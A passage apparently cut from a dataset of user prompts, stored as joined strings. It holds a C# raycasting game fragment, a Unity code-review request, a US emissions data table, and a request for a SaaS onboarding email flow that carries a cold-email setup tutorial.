= random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 50);\n float endY = (float)(startY + Math.Sin(angle) \\* 50);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Ray.distance = Cast(x, y, angle, fov);\n \n \n }\n }\n}' +'give me 5 bullet points regarding improvements for code quality of this:\n\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.UI;\nusing SpaceHub.Conference;\nusing TMPro;\n// using MyBox;\npublic class ResponsiveElement : MonoBehaviour\n{\n public GameObject portTraitRectTransform,landscapeRectTransform;\n public GameObject portTraitImage,landscapeImage;\n public GameObject iosPhoneLandscape;\n public GameObject iosPhonePortrait;\n public GameObject iPadPhonePortrait;\n public float ratioToAffect;\n\n public RectTransform rectTraTransform,newRectTransformToPort,newRectTransformToLand;\n public Transform traTransform,newTransformToPort,newTransformToLand;\n //public List textContent;\n public int textsizePT;\n public int textsizeLC;\n public int textsizeIPadPT;\n public GameObject toFindViewMode;\n public GameObject enableOnlyOnAndroid\\_Ios;\n public GameObject enableOnlyOnWindows;\n\n bool dataLoaded;\n private void Awake() {\n FindRatio();\n LoadMyData();\n }\n private void CalcAspect(){\n // Debug.Log(SystemInfo.deviceModel.ToString());\n // string \\_r = r.ToString("F2");\n // string ratio = \\_r.Substring(0,4);\n \n // switch(ratio)\n // {\n // case "1.33": //4:3\n // break;\n // case "1.50": //3:2\n // break;\n // case "0.67": //2:3\n // break;\n // case "0.56": //9:16\n // break;\n // }\n // Debug.Log("Aspect : "+ r);\n }\n // Start is called before the first frame update\n void Start()\n {\n // Debug.LogError(ViewModeManager.SelectedViewMode.ToString() == "ThirdPerson");\n if(enableOnlyOnAndroid\\_Ios ){\n if ( Application.platform == RuntimePlatform.WindowsEditor || Application.platform == RuntimePlatform.Android || Application.platform == RuntimePlatform.IPhonePlayer ){\n // Debug.Log("Start1");\n if(!DropsMetaverseManager.Instance.VRMode){\n // Debug.Log("ThirdPerson");\n enableOnlyOnAndroid\\_Ios.SetActive(true);\n }\n else{\n enableOnlyOnAndroid\\_Ios.SetActive(false);\n }\n }\n else{\n // Debug.Log("Start2");\n enableOnlyOnAndroid\\_Ios.SetActive(false);\n }\n }\n if(enableOnlyOnWindows){\n if(Application.platform == RuntimePlatform.WindowsEditor || Application.platform == RuntimePlatform.WindowsPlayer || Application.platform == RuntimePlatform.OSXPlayer || Application.platform == RuntimePlatform.WSAPlayerX64 ){\n enableOnlyOnWindows.SetActive(true);\n }\n else{\n enableOnlyOnWindows.SetActive(false);\n }\n }\n\n }\n public bool OnEnableCheck;\n void OnEnable()\n {\n if(ResponsiveAndOrientationManager.SP && OnEnableCheck)\n ResponsiveAndOrientationManager.SP.OnChangeElements();\n }\n\n void OnDisable()\n {\n\n }\n\n // Update is called once per frame\n void Update()\n {\n \n }\n\n public void LoadMyData(){\n if(!dataLoaded){\n LoadData();\n dataLoaded = false;\n }\n }\n \n public Text[] normolText;\n public TextMeshProUGUI[] tMPText;\n public bool textAdd;\n public float portRatio;\n public float landRatio;\n\n public void FindRatio(){\n portRatio = (float)System.Math.Round((float)Screen.height /(float) Screen.width , 2);\n landRatio = (float)System.Math.Round((float)Screen.width /(float) Screen.height , 2);\n // Debug.Log("Resolution : "+Screen.width +" X "+Screen.height+" Aspect : "+portRatio);\n // Debug.Log("Camera Aspect : "+Camera.main.aspect);\n }\n void LoadData(){\n FindRatio();\n rectTraTransform = GetComponent(); \n traTransform =GetComponent();\n\n \n // if(!textAdd)\n // temp = GetComponentsInChildren();\n\n // Debug.Log(SystemInfo.deviceModel);\n \n if(rectTraTransform){\n newRectTransformToPort=portTraitRectTransform.GetComponent();\n newRectTransformToLand=landscapeRectTransform.GetComponent();\n // if( SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n // if( SystemInfo.deviceModel.Contains("iPhone") && iosPhonePortrait)\n \n if(portRatio >= 1.9 && iosPhonePortrait){\n newRectTransformToPort = iosPhonePortrait.GetComponent();\n }\n\n if(SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n newRectTransformToLand = iosPhoneLandscape.GetComponent();\n\n if(SystemInfo.deviceModel.Contains("iPad") && iPadPhonePortrait)\n newRectTransformToPort = iPadPhonePortrait.GetComponent();\n }else if(traTransform){\n newTransformToPort=portTraitRectTransform.GetComponent();\n newTransformToLand=landscapeRectTransform.GetComponent();\n \n\n if( SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n newTransformToLand = iosPhoneLandscape.GetComponent();\n // if( SystemInfo.deviceModel.Contains("iPhone") && iosPhonePortrait)\n // newTransformToPort = iosPhonePortrait.GetComponent();\n \n if(portRatio >= 1.9 && iosPhonePortrait){\n newTransformToPort = iosPhonePortrait.GetComponent();\n }\n if( SystemInfo.deviceModel.Contains("iPad") && iPadPhonePortrait)\n newTransformToPort = iPadPhonePortrait.GetComponent();\n\n // if((landRatio >= 1.33 && landRatio < 1.66) && iosPhoneLandscape)\n // newTransformToLand = iosPhoneLandscape.GetComponent();\n // Debug.Log(newTransformToPort.gameObject.name);\n }\n\n dataLoaded = true;\n }\n\n public void ChangeToPortrait(){\n CalcAspect();\n if(portTraitImage && landscapeImage){\n if(!portTraitImage.activeSelf)\n portTraitImage.SetActive(true);\n if(landscapeImage.activeSelf)\n landscapeImage.SetActive(false); \n }\n // Debug.Log("ChangeToPortrait");\n if(rectTraTransform && newRectTransformToPort){\n rectTraTransform.anchoredPosition = newRectTransformToPort.anchoredPosition;\n rectTraTransform.anchoredPosition3D = newRectTransformToPort.anchoredPosition3D;\n rectTraTransform.anchorMax = newRectTransformToPort.anchorMax;\n rectTraTransform.anchorMin = newRectTransformToPort.anchorMin;\n rectTraTransform.offsetMax = newRectTransformToPort.offsetMax;\n rectTraTransform.offsetMin = newRectTransformToPort.offsetMin;\n rectTraTransform.pivot = newRectTransformToPort.pivot;\n // rectTraTransform.rect = newRectTransformToPort.rect;\n rectTraTransform.sizeDelta = newRectTransformToPort.sizeDelta;\n rectTraTransform.position = newRectTransformToPort.position;\n rectTraTransform.rotation = newRectTransformToPort.rotation;\n rectTraTransform.localScale = newRectTransformToPort.localScale;\n // Debug.LogError("RTP"+rectTraTransform);\n }else if(traTransform && newTransformToPort){\n transform.position = newTransformToPort.position;\n transform.rotation = newTransformToPort.rotation;\n transform.localScale = newTransformToPort.localScale;\n // Debug.LogError("TP"+rectTraTransform);\n }\n\n if(!textAdd){\n if(SystemInfo.deviceModel.Contains("iPad") && textsizeIPadPT != 0){\n textsizePT = textsizeIPadPT;\n }\n if(textsizePT != 0){\n foreach(Text t in normolText){\n t.fontSize = textsizePT; \n }\n foreach(TextMeshProUGUI t in tMPText){\n t.fontSize = textsizePT; \n }\n }\n }\n \n \n }\n\n public void ChangeToLandscape(){\n if(portTraitImage && landscapeImage){\n if(portTraitImage.activeSelf)\n portTraitImage.SetActive(false);\n if(!landscapeImage.activeSelf)\n landscapeImage.SetActive(true); \n }\n if(rectTraTransform && newRectTransformToLand){\n rectTraTransform.anchoredPosition = newRectTransformToLand.anchoredPosition;\n rectTraTransform.anchoredPosition3D = newRectTransformToLand.anchoredPosition3D;\n rectTraTransform.anchorMax = newRectTransformToLand.anchorMax;\n rectTraTransform.anchorMin = newRectTransformToLand.anchorMin;\n rectTraTransform.offsetMax = newRectTransformToLand.offsetMax;\n rectTraTransform.offsetMin = newRectTransformToLand.offsetMin;\n rectTraTransform.pivot = newRectTransformToLand.pivot;\n // rectTraTransform.rect = newRectTransformToLand.rect;\n rectTraTransform.sizeDelta = newRectTransformToLand.sizeDelta;\n rectTraTransform.position = newRectTransformToLand.position;\n rectTraTransform.rotation = newRectTransformToLand.rotation;\n rectTraTransform.localScale = newRectTransformToLand.localScale;\n // Debug.LogError("RTP"+rectTraTransform);\n }else if(traTransform && newTransformToLand){\n transform.position = newTransformToLand.position;\n transform.rotation = newTransformToLand.rotation;\n transform.localScale = newTransformToLand.localScale;\n // Debug.LogError("TP"+rectTraTransform);\n }\n\n if(!textAdd){\n if(textsizeLC != 0){\n foreach(Text t in normolText){\n t.fontSize = textsizeLC; \n // Debug.Log(t.gameObject.name +" : "+t.text+" : "+this.name);\n }\n // }\n // if(tMPText != null){\n foreach(TextMeshProUGUI t in tMPText){\n t.fontSize = textsizeLC; \n }\n }\n }\n }\n}' +'Emissions in 1000 / tons \nState FIPS State Tier 1 Code Tier 1 Description Pollutant emissions90 emissions96 emissions97 emissions98 emissions99 emissions00 emissions01 emissions02 emissions03 emissions04 emissions05 emissions06 emissions07 emissions08 emissions09 emissions10 emissions11 emissions12 emissions13 emissions14 emissions15 emissions16 emissions17 emissions18 emissions19 emissions20 emissions21\n01 AL 01 FUEL COMB. ELEC. UTIL. CO 6.86859 8.06884 8.04705 8.12158 11.51526 10.345005 9.807628 11.212116 11.32424124 11.43636648 11.54849172 11.51218658 11.47588144 11.4395763 10.9668444 10.4941125 9.9576446 9.6423108 9.326977 9.0116432 9.125182333 9.238721467 9.3231606 10.050146 8.2436791 8.2436791 8.2436791\n01 AL 01 FUEL COMB. ELEC. UTIL. NH3 0.01516 0.01605 0.01597 0.01651 0.016949 0.015926 0.6483392 0.640472058 0.632604916 0.624737774 0.596224626 0.567711479 0.539198332 0.522571961 0.505945589 0.489319218 0.488462596 0.487605975 0.486749353 0.457457277 0.428165201 0.398873126 0.4557602 0.4175513 0.4175513 0.4175513\n01 AL 01 FUEL COMB. ELEC. UTIL. NOX 187.79386 219.009 209.98918 198.66722 186.3871 182.334029 169.063668 162.4571829 155.057338 136.658226 134.1019685 123.159224 122.364056 113.0329924 96.00923043 78.87946547 61.6871485 57.76831163 53.84947477 49.9306379 40.76923536 31.60783282 22.42213028 26.2331037 19.59248 13.75279 11.1621\n01 AL 01 FUEL COMB. ELEC. UTIL. PM10-PRI 8.85994 9.28102 8.83472 8.37946 29.21702 28.920119 27.213014 26.03978501 26.38171611 26.7236472 27.0655783 19.7560826 12.4465869 5.137091206 5.876249051 6.615406896 7.323321741 6.469981304 5.616640867 4.763300429 3.950868841 3.138437253 2.303325664 2.6010105 2.8686422 2.8686422 2.8686422\n01 AL 01 FUEL COMB. ELEC. UTIL. PM25-PRI 3.60246 4.36618 4.23529 4.00666 25.092193 24.408143 23.388713 22.52253144 22.84583593 23.16914043 23.49244492 16.580168 9.667891073 2.755614149 3.465757383 4.175900617 4.866090851 4.407620699 3.949150548 3.490680396 2.964636337 2.438592277 1.898368218 1.9412667 2.6597919 2.6597919 2.6597919\n01 AL 01 FUEL COMB. ELEC. UTIL. SO2 528.64015 584.96044 567.98876 575.47384 542.65734 512.08508 466.231637 448.2928643 458.621837 412.439787 460.1747366 455.193064 447.189154 361.2084519 300.5832618 239.955174 179.3226022 159.5225501 139.7224981 119.922446 83.44327413 46.96410223 10.48216033 11.9876086 6.4162684 3.277997 4.223016\n01 AL 01 FUEL COMB. ELEC. UTIL. VOC 0.79719 0.99511 0.9925 1.00374 2.23487 2.133452 2.105723 2.259568 2.143550196 2.027532392 1.911514588 1.797696545 1.683878503 1.57006046 1.433560153 1.297059847 1.15179904 1.217204429 1.282609817 1.348015206 1.303014349 1.258013491 1.208702634 1.3163993 1.1835842 1.1835842 1.1835842\n01 AL 02 FUEL COMB. INDUSTRIAL CO 25.73799 49.77487 48.15407 48.41578 43.88043 43.576394 45.374914 67.13219162 65.81066175 64.48913187 63.167602 49.57710761 35.98661322 22.39611883 22.61858405 22.84104926 71.86470057 66.7471092 61.62951784 56.51192647 43.65623227 30.80053808 17.97394388 19.1480244 17.2917412 17.2917412 17.2917412\n01 AL 02 FUEL COMB. INDUSTRIAL NH3 0.38396 1.31672 1.28847 1.3128 0.453654 0.457349 0.460238 0.38786043 0.371219399 0.354578369 0.337937338 0.24279463 0.147651921 0.052509212 0.071564475 0.090619737 0.812746476 0.755929131 0.699111786 0.642294441 0.439639269 0.236984097 0.034328925 0.0567259 0.0580506 0.0580506 0.0580506\n01 AL 02 FUEL COMB. INDUSTRIAL NOX 75.0194 98.5869 96.90908 96.43691 63.36205 63.137215 63.78486 48.6024981 44.82649865 41.0504992 37.27449975 34.96296233 32.65142492 30.3398875 32.0215286 33.7031697 35.44736279 36.72796487 38.00856695 39.28916903 32.84198373 26.39479843 19.97191313 22.0710428 20.1680229 20.1680229 20.1680229\n01 AL 02 FUEL COMB. INDUSTRIAL PM10-PRI 12.63573 10.87613 10.53728 10.56054 8.582618 8.474332 8.809374 5.563218565 5.675496798 5.787775032 5.900053265 5.062986049 4.225918833 3.388851616 3.62230577 3.855759924 46.27438322 47.24203355 48.20968388 49.17733421 33.76794361 18.358553 2.971842393 3.3632199 2.806757 2.806757 2.806757\n01 AL 02 FUEL COMB. INDUSTRIAL PM25-PRI 8.95548 6.56238 6.32133 6.37696 5.701548 5.667881 5.855379 2.715406176 2.846252766 2.977099357 3.107945947 3.043270559 2.978595171 2.913919783 3.174866775 3.435813767 34.66393051 35.51917391 36.37441732 37.22966073 25.66888713 14.10811353 2.561519936 2.4359415 2.3957654 2.3957654 2.3957654\n01 AL 02 FUEL COMB. INDUSTRIAL SO2 54.82764 52.69352 52.00472 51.73982 42.81297 42.125593 44.067971 33.39878683 32.37404933 31.34931184 30.32457434 27.4738541 24.62313386 21.77241362 20.38686739 19.00132115 41.32218386 38.16929643 35.01640899 31.86352156 24.45469381 17.04586607 9.639808327 11.7197006 13.0489428 13.0489428 13.0489428\n01 AL 02 FUEL COMB. INDUSTRIAL VOC 7.55391 4.44464 4.37024 4.33768 4.07291 4.0706 4.092758 2.274272103 2.26371857 2.253165037 2.242611505 2.075396651 1.908181797 1.740966943 1.743319585 1.745672227 3.282876125 3.090067831 2.897259538 2.704451244 2.378932067 2.053412889 1.732203712 1.9854247 1.7401778 1.7401778 1.7401778\n01 AL 03 FUEL COMB. OTHER CO 89.93378 34.23424 34.29082 34.15163 65.515923 37.318006 37.426965 71.05160555 70.48616218 69.92071881 69.35527544 50.01507181 30.67486817 11.33466454 11.54395555 11.75324656 12.10373583 14.99790364 17.89207145 20.78623926 23.5814874 26.37673555 29.1719837 29.2072092 29.2018379 29.2018379 29.2018379' +"write a onboarding email flow for our new customers of our SaaS. our SaaS is a cold email automation tool. make the onboarding email flow 4 steps. \n\nWriting style: This writing style can be described as a combination of instructional and persuasive writing. The author is providing step-by-step instructions for a specific process while also persuading the reader of the effectiveness of the method and the potential gains. It is written in a straightforward and concise manner with a focus on practicality and efficiency.\n\nkeep the below context in mind: \nHow We Get 1-10 Demos Every Day By \nAutomatically Sending 1000+ Cold Emails Daily \nWith A 50%+ Open Rate\n\nThis is the best minimal effort maximum gain system for high ticket B2B offers we’ve found. \nYou can set everything up in 1-2 hours. Then you just have to wait for the new emails to warm up for around 14 days and you’re ready to go. Once you understand the system you can give this tutorial to your VA’s and make your life even easier.\n\nIf you combine this strategy with personalised first lines, you can get even better results. \nBut this strategy works even without personalisation.\n\nBefore starting, create a free Instantly account here. We’re going to be using Instantly for automating email sending.\n\nPS: We got a lot of requests for short video tutorials about these steps, so we created the Instantly Accelerator (8 modules with videos, docs and mind maps that cover every single detail - you get access as a Instantly Growth or Hypergrowth user).\n\nBefore we get into the specifics here are the rough estimates. You can set up this exact system for 1 email account too, but this is to show you the potential and scalability.\n\nNumbers:\n\n1000 emails daily\n30K monthly (50% open rate)\n15K opens (5% reply rate)\n750 replies (15% positive)\n112 booked meetings (75% show-up rate)\n84 live demos (20% close rate)\n16 closes ($1K ticket)\n16K/mo\n\nCost / Tech Stack:\n\n10 Domains - $90\n3 Google Workspace accounts & emails - $18\n30 Extra Google Emails - $180\n30K Leads from Apollo or Leadhype - $99\n30K Leads Cleaning with BulkEmailChecker - $30\n30K Leads Sending with Instantly $97\n\nTotal: $514 the first month, then $424/mo\n\nInvestment Gain - $15,486.00\nROI - 3,112.84%\nNot too shabby right? Let's get this set up…\nStep-By-Step Instructions\nDomain & Email Setup\nBuying Domains (10 mins)\nSetting Up Google Workspace (3 mins)\nSetting Up Domains - SPF, DKIM, DMARC & Forwarding (15-20 mins)\n1) Set up SPF\n2) Set up DKIM\n3) Set up DMARC\n4) Set up Forwarding\nSetting Up Emails Accounts (10 mins)\nWarming Up Emails (15 mins)\nLeads & Targeting\nGetting Leads (10 mins)\nCleaning Leads (5 mins)\nSetting Up The Campaign With Instantly\nConnecting Email Accounts (10 mins)\nUploading Leads (1 min)\nSetting Up The Sequence (5 mins)\nEmail Copy\nStep 1 - Initial Cold Email.\nStep 2 - Quick bump.\nStep 3 - Break-up Email.\nScheduling (1 min)\nAdvanced Options (1 min)\nOptimizing & Scaling\nAnalyzing Campaigns\nBenchmarks\nScaling Up\nFeedback & Suggestions\nDomain & Email Setup\nHere’s the checklist you can use to keep track of all the steps for Domain & Email setup and also give to your VAs.\n\nWe want to buy alias domains for cold emailing so we don’t damage the reputation of your main domain. And for each domain we want to create max 2-3 email accounts. From each email we’re going to be sending only 30-50 emails a day to not get stuck in spam.\nBuying Domains (10 mins)\n\nBuy domains that are similar to your main domain. Top-level domains work best. We’ve had success with domains like .agency .tech too, but if possible, buy .com domains.\n\nIf your business is called Shrimp.com, then buy domains like:\n\nGetshrimp.com\nTryshrimp.com\nTastyShrimpApp.com\n\nHere’s a list of domains with the worst reputation. Don’t use these.\n\nWe use GoDaddy for buying Domains, because we’ve used it for a long time and it has tons of integrations and tutorials. You do you.\n\nTIP: Make sure you go to https://account.godaddy.com/subscriptions and cancel all renewals if you do not want to use these domains for more than a year.\n\n\nSetting Up Google Workspace (3 mins)\nGo to https://workspace.google.com/ and click Get Started. Follow the on-screen instructions until your Google Workspace account is set up. You can safely create 2-3 emails per domain (by adding users in your Google Workspace admin). \n\nCreate a new Workspace account for each of the domains you bought.\n\nSetting Up Domains - SPF, DKIM, DMARC & Forwarding (15-20 mins)\n\nNow we get to the fun part! You should authenticate all the domains you are sending emails from. Here are the three parameters you have to set up for each domain: SPF, DKIM and DMARC.\n\n1) Set up SPF\n\nAssuming you are using Google Workspace you can follow this guide to set up SPF.\n\nYou can check if your SPF is properly set up using this tool.\n\n2) Set up DKIM\n\nAgain, assuming you are using Google Workspace you can follow this guide to set up DKIM.\n\nYou can check if your DKIM is properly set up using this tool.\n\n3) Set up DMARC\n\n\u200b\u200bImportant: Configure DKIM and SPF before configuring DMARC. DKIM and SPF should be authenticating messages for at least 48 hours before turning on DMARC.\n\nAssuming you are using Google Workspace you can follow this guide to set up DMARC.\n\nYou can check if your DMARC is properly set up using this tool.\n\n4) Set up Forwarding\n\nAlso, you want to forward the new domains to your main domain. This can be done in the settings of your domain provider. If you are using GoDaddy, you can follow this guide.\n\nSetting Up Emails Accounts (10 mins)\nIn order to later warm up your emails on Instantly, you need to make a few changes in the settings of your Google Workspace account and separate emails.\n\nYou can do this by following this guide.\n\nYou can monitor, tag and reply to all replies inside of the Instantly centralized master inbox/unibox. \n\n\nWarming Up Emails (15 mins)\n\nIn Instantly click the flame icon for all your email accounts you added to enable warm-up\n\nWe recommend using the suggested sending limits.\n\nWarm Up your emails for at least 3 weeks before starting your campaigns. As you can see in the image below we have 30+ domains warming up at any given time for our agency. That will allow you to really scale it up and get to that 5+ demos/day mark sooner. \n\nAlways keep the warm up on - never turn it off.\n\nMaking sure everything is set up correctly\n\nBefore starting your campaigns, you want to make sure the domain and email set up is done correctly.\nFor domains, use SPF & DKIM check.\nFor testing email spamminess, use Mail Tester.\n\nIf something's wrong, go back and quickly fix it :)\n\nLeads & Targeting\n\nFinding leads is easy, the harder part is knowing exactly which kinds of leads are the best. We approach it based on case studies. Who are the people who have gotten the most value out of your or your clients service? And who in that company is in charge of dealing with your offering.\nIf you don’t exactly know who to target just try different options until you find a targeting & email combo that works. Then just get as many similar leads as possible.\n\n\nGetting Leads (10 mins)\n\nLeadhype: https://leadhype.com/\n\nThis is our go-to software at the moment. It works best if you have LinkedIn Sales Navigator so I recommend getting it. We like to separate leads into batches based on locations.\n\nIf we’re targeting gym owners, we’re going to be creating separate jobs on Leadhype. Gym Owners (LA), Gym Owners (NYC) etc. This way they’re all in the same time-zone and we can schedule emails to them easily later.\n\n+ Great for getting bulk leads from LinkedIn.\n+ Easy to use.\n+ You can get up to 150K Leads monthly.\n+ You’re scraping leads for yourself, you’re not using leads that everybody has access to.\n\n- Not as targeted\n- Not the best option for finding very specific leads (based on revenue)\n\nApollo: https://www.apollo.io/\n\nThey have a huge database of B2B leads and you can filter them with tens of filters like revenue, employee count, niche, tech stack etc.\n\n+ Great Database\n+ Great Filters\n\n- The main plan allows you to export 25 leads at a time.\nCleaning Leads (5 mins)\n\nhttps://bulkemailchecker.com\n\nIf we’re not in a rush this is our go-to. It’s quite slow but the cheapest.\n\n+ Cheap\n\n- Slow\nOn the left-hand side select Bulk Verify.\n\n\nOn the right-hand side select This file contains multiple columns of data in a csv spreadsheet. Select the file with your leads and click Upload.\n\nWait 2-3 minutes for the next window to appear and click the green button Check Status. \nSelect the column with the email address. In this case because we got the lead list from Leadhype it’s the column corporate email. Click the green button Select.\nWait 5 minutes until the next window appears to start the validation process. \nClick the green button to start the validation process. We recommend the slower validation method since it is significantly cheaper. \n\nOnce the lead list has finished validating and you have exported the lead list from Bulkemailchecker make sure to format and clean it before sending emails.\n \nYou do that by only keeping the rows that say “The address passed all tests” in the Details column (the last column all the way to the right). Remove any rows that don’t say The address passed all tests, such as Dupe., The address does not have a valid dns., None., Is a Catchall mx server config., Greylisting is active on this server. Etc.\n\nThe following step-by-step instructions show you how to do this fast and accurately. \nUpload the .csv to your GDrive as a Google Sheet. Apply filters on the entire sheet. \nOnce the filter is applied to the entire sheet go to the column Details. Click on the filter symbol inside of that column header. Click Clear and type in the search box passed so you can find all email addresses that have passed the validation stage. Click on the result and press OK. \nSelect all, copy and paste into a new sheet inside the same spreadsheet. Add -only-passed at the end of the new sheet name where you pasted in the results.\nDelete the original tab/sheet so you only have the [NAME]-only-passed sheet left in the spreadsheet.\n\nThis makes sure that you’re only sending to valid emails and keeping your spam score low. Once you’ve done that you are ready to proceed and start sending in Instantly :)\n\n\nhttps://www.zerobounce.net/\n\n+ Faster\n- More Expensive.\n\nMake sure that the lead list that you’re going to upload on the next step only contains the validated emails and not the negative results. \nSetting Up The Campaign With Instantly\n\nWe use Instantly because you can connect unlimited email accounts (it’s not pay per account like most similar software) and it’s the easiest software to use (because we built it like that).\n\nCreate a free trial account here.\n\nConnecting Email Accounts (10 mins)\n\nSimply connect all your emails with Instantly here: https://app.instantly.ai/app/account/connect\n\nWe recommend using 2FA whenever possible because it’s much more secure and stable. \n\nUploading Leads (1 min)\n\nJust upload all the cleaned leads via CSV.\n\n\n\nSetting Up The Sequence (5 mins)\n\nEmail Copy\n\nKeep your emails short and sweet. We don’t use any links. Try pattern interrupts and get creative. Don’t send that boring shit that everybody’s sending.\nHere are a bunch of great cold email sequences from Lemlist users.\nHere’s another list of cold email templates from Hunter.io\n\nFor first lines we recommend Listkit. \n\nWe use a 3 step sequence. \n\nStep 1 - Initial Cold Email.\n\n\nStep 2 - Quick bump.\n\nStep 3 - Break-up Email.\n\n\n\nScheduling (1 min)\n\nHere just start with work-hours in the time zone where your leads for this campaign are located at. \n\n\nAdvanced Options (1 min)\n\nEmails To Use - Just select all the accounts for this campaign you want to use. This is the real superpower of Instantly. It will start sending emails from all of these accounts automatically. \nStop sending emails on reply - Stops the sequence for the user who has replied. This is recommended.\n\n\nSmart Sending - This will send emails as close to a human as possible. It will vary the pause before emails to make it look organic and natural. Also it will start ramping email up slowly.\nDaily Sending Limit - We recommend sending max 30-50 emails a day for best results, so just multiply your added accounts in this campaign by 30 to set this number.\nThat’s it. Now you can launch your campaign.\n\nCongrats! Instantly will start sending out emails every day automatically from all your connected accounts and you just need to keep an eye on the campaigns.\nOptimizing & Scaling\n\nAnalyzing Campaigns\nUse the Analytics Tab to keep an eye on your campaigns and pause the ones that aren’t delivering results.\n\n\n\nBenchmarks\n\nWe want to hit:\n\n50% Open Rate\n5+% Reply Rate\n\nIf the open rate is lower, try a different subject line and make sure your emails are not getting stuck in spam. If they are in spam, pause the campaign for a couple of days and let the warm-up run until you’re out of spam.\n\nIf the reply rate is lower, change your email copy and/or targeting. It can take a couple of different tests until you find a working combo.\n\nScaling Up\n\nScaling up is super easy. Just create more domains/email accounts, and add them to your Instantly campaign and increase the daily sending limit.\n\nFeel free to send this tutorial to VA’s and just 